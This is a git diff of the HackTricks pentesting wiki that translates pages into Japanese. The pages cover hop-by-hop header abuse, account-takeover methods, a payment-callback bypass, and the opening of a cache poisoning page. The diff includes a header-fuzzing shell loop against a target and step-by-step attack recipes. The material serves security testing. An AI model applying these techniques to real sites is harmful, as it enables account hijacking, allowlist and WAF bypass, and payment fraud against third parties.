☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
-​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +​​​[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。この大会は、技術的な知識を促進することを目的としており、あらゆる分野の技術とサイバーセキュリティの専門家にとっての活発な交流の場です。 {% embed url="https://www.rootedcon.com/" %} -## What is a hop-by-hop header? +## ホップバイホップヘッダーとは何ですか? -A hop-by-hop header is a header which is designed to be processed and consumed by the proxy currently handling the request, as opposed to an end-to-end header. +ホップバイホップヘッダーは、リクエストを処理しているプロキシによって処理され、消費されるヘッダーであり、エンドツーエンドのヘッダーとは異なります。 -According to [RFC 2616](https://tools.ietf.org/html/rfc2616#section-13.5.1), the HTTP/1.1 spec treats the following headers as hop-by-hop by default: `Keep-Alive`, `Transfer-Encoding`, `TE`, `Connection`, `Trailer`, `Upgrade`, `Proxy-Authorization` and `Proxy-Authenticate`. When encountering these headers in a request, a compliant proxy should process or action whatever it is these headers are indicating, and not forward them on to the next hop. - -Further to these defaults, a request [may also define a custom set of headers to be treated as hop-by-hop](https://tools.ietf.org/html/rfc2616#section-14.10) by adding them to the `Connection` header, like so: +[HTTP/1.1仕様](https://tools.ietf.org/html/rfc2616#section-13.5.1)によると、以下のヘッダーはデフォルトでホップバイホップとして扱われます:`Keep-Alive`、`Transfer-Encoding`、`TE`、`Connection`、`Trailer`、`Upgrade`、`Proxy-Authorization`、`Proxy-Authenticate`。これらのヘッダーがリクエストで見つかった場合、準拠したプロキシはこれらのヘッダーが示す処理またはアクションを実行し、次のホップに転送しません。 +これらのデフォルトに加えて、リクエストは[ホップバイホップとして扱われるカスタムなヘッダーのセットを定義することもできます](https://tools.ietf.org/html/rfc2616#section-14.10)。これは、これらのヘッダーを`Connection`ヘッダーに追加することで行います: ``` Connection: close, X-Foo, X-Bar ``` +## hop-by-hopヘッダーの乱用に関する理論 -## The theory on abusing hop-by-hop headers - -In theory, proxies should remove hop-by-hop headers received before sending them to the next address. But you can find in the wild that this is done by some proxies and others just send all the headers adding its own `Connection`header. +理論上、プロキシは次のアドレスに送信する前に受信したhop-by-hopヘッダーを削除するはずです。しかし、実際には、一部のプロキシはこれを行い、他のプロキシは自身の`Connection`ヘッダーを追加してすべてのヘッダーを送信します。 ![](<../.gitbook/assets/image (138).png>) -## Testing hop-by-hop deletions +## hop-by-hop削除のテスト -If you find a header that makes the response of the server changes if it is set of if it is not, then you can search for hop-by-hop deletions. For example, the cookie header will make the response of the server to be dramatically different if it is set (with a valid content) and if it is not. +もし、ヘッダーが設定されている場合と設定されていない場合でサーバーの応答が大きく異なる場合、hop-by-hop削除を探すことができます。例えば、Cookieヘッダーは、有効な内容で設定されている場合と設定されていない場合でサーバーの応答が大きく異なります。 -So, send a request with a valid header and with this value of the Connection header `Connection: close, Cookie` if the response is the same as if the cookie wasn't sent, then there is a proxy removing headers. - -You can find if the response of the server is any different if a header is deleted using this technique using[ this script](https://gist.github.com/ndavison/298d11b3a77b97c908d63a345d3c624d). Then, if you pass in a list of known headers, such as [this one](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/BurpSuite-ParamMiner/lowercase-headers), you can observe which headers are causing effects despite not being in your original request: +したがって、有効なヘッダーと次のようなConnectionヘッダーの値`Connection: close, Cookie`を持つリクエストを送信し、クッキーが送信されていない場合と同じ応答が得られるかどうかを確認します。もし同じ応答が得られる場合、ヘッダーを削除するプロキシが存在します。 +[このスクリプト](https://gist.github.com/ndavison/298d11b3a77b97c908d63a345d3c624d)を使用して、ヘッダーが削除された場合にサーバーの応答がどのように異なるかを確認することができます。また、[このリスト](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/BurpSuite-ParamMiner/lowercase-headers)のような既知のヘッダーのリストを渡すことで、元のリクエストに含まれていないにもかかわらず効果を引き起こしているヘッダーを観察することができます。 ``` for HEADER in $(cat headers.txt); do python poison-test.py -u "https://target" -x "$HEADER"; sleep 1; done ``` +## X-Forwarded-For の悪用 -This will cycle through the entire header list and print out if its presence in the hop-by-hop list created a different status code or response body size. +一般的に、プロキシはクライアントのIPを `X-Forwarded-For` ヘッダに追加します。次のホップはリクエストの送信元を知るためです。しかし、攻撃者が `Connection: close, X-Forwarded-For` のような Connection 値を送信し、最初のプロキシがホップごとのヘッダを値とともに送信する場合(特別な Connection 値を送信する場合)、2番目の値は X-Forward-For ヘッダを削除する可能性があります。最終的なアプリケーションはリクエストを送信したのが最後のプロキシであると思い込み、IPホワイトリストによって保護されたリソースにアクセスできるようになる可能性があります(たとえば、`/admin` など)。 -## Abusing X-Forwarded-For +対象となるシステムによっては、`Forwarded`、`X-Real-IP`、および他の一部のヘッダが存在する場合もあります。 -In general, proxies will add the IPs of the clients inside the `X-Forwarded-For` header so the next hop will know where does the petition comes from. However, if an attacker sends a Connection value like `Connection: close, X-Forwarded-For` and the first proxy sends the hop-by-hop headers with their values (it sends the special Connection value), then the second value may delete the X-Forward-For header.\ -At the end, the final App won't know who sent the request and may think that it was the last proxy, and is this scenario an attacker may be able to access resources protected by IP whitelisting (maybe some `/admin` ?). +## プロキシの検出とサービスのフィンガープリント -Depending on the system being targeted, you may also have `Forwarded`, `X-Real-IP`, and a bunch of others that are less common. +この技術は、クッキーの技術を使用してプロキシを検出するのに役立つ場合があります。また、サービスを検出するためにも使用できます。たとえば、この技術を使用して `X-BLUECOAT-VIA` ヘッダを削除し、エラーが発生した場合、Bluecoat が使用されていることがわかります。 -## Detecting Proxies and fingerprinting services +## その他の攻撃 -This technique may be useful to detect proxies (using the cookie technique) or even to detect services. For example, if you abuse this technique to delete the header `X-BLUECOAT-VIA` and an error is thrown, then you have find that Bluecoat was being used. +* この技術を悪用した DoS キャッシュポイズニングについては、元のリンクを参照してください。 +* これは新しいヘッダを挿入する可能性のある攻撃に役立つ場合があります(確率は低いです)。 +* また、これは防御機能をバイパスするのに役立つ場合があります。たとえば、ヘッダの欠如がリクエストを WAF で処理しないことを意味する場合、この技術を使用して WAF をバイパスできます。 -## Other Attacks - -* For a possible DoS Cache poisoning abusing this technique read the original link -* This could be useful in attacks that may allow you to insert new headers (low probability) -* Also,it could be useful to bypass defensive functionalities. For example, if the lack of a header means that a request shouldn't be processed by a WAF, you could bypass a WAF with this technique. - -## References +## 参考文献 {% embed url="https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers" %} @@ -75,8 +68,7 @@ This technique may be useful to detect proxies (using the cookie technique) or e
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.\ - +[**RootedCON**](https://www.rootedcon.com/) は **スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。技術的な知識を促進することを使命としており、この会議はあらゆる分野の技術とサイバーセキュリティの専門家の活発な交流の場です。 {% embed url="https://www.rootedcon.com/" %} @@ -84,10 +76,10 @@ This technique may be useful to detect proxies (using the cookie technique) or e ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか? HackTricks で会社を宣伝したいですか?または、最新バージョンの PEASS を入手したり、HackTricks を PDF でダウンロードしたりしたいですか?** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) という独占的な [**NFT**](https://opensea.io/collection/the-peass-family) のコレクションを発見してください。 +* [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**Telegram グループ**](https://t.me/peass) に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローしてください。** +* **ハッキングのトリックを共有するには、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)に PR を提出してください。** diff --git a/pentesting-web/account-takeover.md b/pentesting-web/account-takeover.md index a17e6745f..8422ac719 100644 --- a/pentesting-web/account-takeover.md +++ b/pentesting-web/account-takeover.md @@ -1,60 +1,60 @@ -# Account Takeover +# アカウント乗っ取り
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## **Authorization Issue** +## **認証の問題** -Try to change the email of an account and **check how the confirmation works**. If **weak**, try to change the email to the victim one and confirm it. +アカウントのメールアドレスを変更して、**確認方法**を確認してください。もし**弱い**場合は、被害者のメールアドレスに変更して確認してみてください。 -## **Unicode Normalization Issue** +## **Unicode正規化の問題** -1. victim account `victim@gmail.com` -2. create an account using Unicode\ - example: `vićtim@gmail.com` +1. 被害者のアカウント `victim@gmail.com` +2. Unicodeを使用してアカウントを作成\ +例: `vićtim@gmail.com` {% content-ref url="unicode-injection/unicode-normalization.md" %} [unicode-normalization.md](unicode-injection/unicode-normalization.md) {% endcontent-ref %} -## **Reusing Reset Token** +## **リセットトークンの再利用** -If target allows you to **reuse the reset link** then **hunt** for more reset link via `gau` ,`wayback` or `scan.io` +ターゲットが**リセットリンクの再利用**を許可している場合は、`gau`、`wayback`、または`scan.io`を使用してさらにリセットリンクを探してください。 -## **Pre Account Takeover** +## **アカウント乗っ取りの前処理** -1. Signup using the victims email in the platform and set a password (try to confirm if possible, but lacking access to the victim emails might be impossible) -2. Wait till the victim signs up using oauth and confirms the account -3. Hopefully, the regular signup will be confirmed and you will be able to enter in the victims account +1. プラットフォームで被害者のメールアドレスを使用してサインアップし、パスワードを設定します(可能な場合は確認してくださいが、被害者のメールにアクセスできない場合は不可能かもしれません)。 +2. 被害者がOAuthを使用してサインアップし、アカウントを確認するまで待ちます。 +3. おそらく、通常のサインアップが確認され、被害者のアカウントに入ることができるでしょう。 -## **CORS Misconfiguration to Account Takeover** +## **CORSミス構成によるアカウント乗っ取り** -If the page contains **CORS missconfigurations** you might be able to **steal sensitive information** from the user to **takeover his account** or make him change auth information for the same purpose: +ページに**CORSミス構成**が含まれている場合、ユーザーから**機密情報**を盗み出して**アカウントを乗っ取る**か、同じ目的で認証情報を変更させることができるかもしれません。 {% content-ref url="cors-bypass.md" %} [cors-bypass.md](cors-bypass.md) {% endcontent-ref %} -## **Csrf to Account Takeover** +## **Csrfによるアカウント乗っ取り** -If the page is vulnerable to CSRF you might be able to make the **user modify his password**, email or authentication so you can then access it: +ページがCSRFに対して脆弱である場合、ユーザーがパスワード、メールアドレス、または認証情報を変更することができるかもしれません。 {% content-ref url="csrf-cross-site-request-forgery.md" %} [csrf-cross-site-request-forgery.md](csrf-cross-site-request-forgery.md) {% endcontent-ref %} -## **XSS to Account Takeover** +## **XSSによるアカウント乗っ取り** -If you find a XSS in application you might be able to stal cookies, local storage, or info from the web page that could allow you takeover the account: +アプリケーションでXSSを見つけると、クッキー、ローカルストレージ、またはウェブページからの情報を盗み出してアカウントを乗っ取ることができるかもしれません。 {% content-ref url="xss-cross-site-scripting/" %} [xss-cross-site-scripting](xss-cross-site-scripting/) @@ -62,29 +62,29 @@ If you find a XSS in application you might be able to stal cookies, local storag ## **Same Origin + Cookies** -If you find a limited XSS or a subdomain take over, you could play with the cookies (fixating them for example) to try to compromise the victim account: +制限されたXSSまたはサブドメインの乗っ取りを見つけた場合、クッキーを操作することで(例えば、固定化することで)被害者のアカウントを侵害しようとすることができます。 {% content-ref url="hacking-with-cookies/" %} [hacking-with-cookies](hacking-with-cookies/) {% endcontent-ref %} -## **Attacking Password Reset Mechanism** +## **パスワードリセットメカニズムへの攻撃** {% content-ref url="reset-password.md" %} [reset-password.md](reset-password.md) {% endcontent-ref %} -## **Response Manipulation** +## **レスポンスの操作** -If the authentication response could be **reduced to a simple boolean just try to change false to true** and see if you get any access. +認証レスポンスが**単純なブール値に縮小**できる場合は、falseをtrueに変更してアクセスできるかどうかを確認してください。 -## OAuth to Account takeover +## OAuthによるアカウント乗っ取り {% content-ref url="oauth-to-account-takeover.md" %} [oauth-to-account-takeover.md](oauth-to-account-takeover.md) {% endcontent-ref %} -## References +## 参考文献 * [https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050](https://infosecwriteups.com/firing-8-account-takeover-methods-77e892099050) @@ -92,10 +92,7 @@ If the authentication response could be **reduced to a simple boolean just try t ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - - +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a diff --git a/pentesting-web/bypass-payment-process.md b/pentesting-web/bypass-payment-process.md index a461a9742..bec752d31 100644 --- a/pentesting-web/bypass-payment-process.md +++ b/pentesting-web/bypass-payment-process.md @@ -1,26 +1,24 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksをPDFで**ダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-1. It is preferable to choose **PayPal** or **CoinPayments** as a payment method -2. Intercept all requests, you may find a parameter called _**Success**_ or _**Referrer**_ or _**Callback**_ -3. If the value inside the parameter has a URL like this _**example.com/payment/MD5HASH**_ for example -4. **Copy it, and open it on a new window**, you will find that your payment was successful +1. 支払い方法としては、**PayPal**または**CoinPayments**を選ぶことが好ましいです +2. すべてのリクエストをインターセプトし、_**Success**_または_**Referrer**_または_**Callback**_というパラメータがあるかもしれません +3. パラメータ内の値が_**example.com/payment/MD5HASH**_のようなURLを持っている場合 +4. **それをコピーして新しいウィンドウで開いてください**、そこで支払いが成功したことがわかります @SalahHasoneh1 @@ -29,16 +27,14 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか、またはHackTricksをPDFで**ダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/pentesting-web/cache-deception.md b/pentesting-web/cache-deception.md index e143d26af..3b02b7f79 100644 --- a/pentesting-web/cache-deception.md +++ b/pentesting-web/cache-deception.md @@ -1,230 +1,202 @@ -# Cache Poisoning and Cache Deception +# キャッシュの改ざんとキャッシュの欺瞞
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## The difference +## 違い -> **What is the difference between web cache poisoning and web cache deception?** +> **ウェブキャッシュの改ざんとウェブキャッシュの欺瞞の違いは何ですか?** > -> * In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users. -> * In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache. +> * **ウェブキャッシュの改ざん**では、攻撃者はアプリケーションに悪意のあるコンテンツをキャッシュに保存させ、このコンテンツがキャッシュから他のアプリケーションユーザーに提供されます。 +> * **ウェブキャッシュの欺瞞**では、攻撃者はアプリケーションに別のユーザーの機密コンテンツをキャッシュに保存させ、その後、攻撃者はこのコンテンツをキャッシュから取得します。 -## Cache Poisoning +## キャッシュの改ざん -The goal of poisoning the cache is to make the **clients load unexpected resources partially or controlled by the attacker**.\ -The poisoned response will only be served to users who visit the affected page while the cache is poisoned. As a result, the impact can range from non-existent to massive depending on whether the page is popular or not. +キャッシュの改ざんの目的は、**クライアントが予期しないリソースを部分的にまたは攻撃者によって制御されたものとして読み込む**ことです。\ +改ざんされたレスポンスは、キャッシュが改ざんされている間に影響を受けるページを訪れるユーザーにのみ提供されます。その結果、ページが人気があるかどうかによって、影響は存在しないものから大規模なものまでさまざまです。 -To perform a cache poisoning attack, you need first to **identify unkeyed inputs** (parameters not needed to appear on the cached request but that change the returned page), see **how to abuse** this parameter and **get the response cached**. 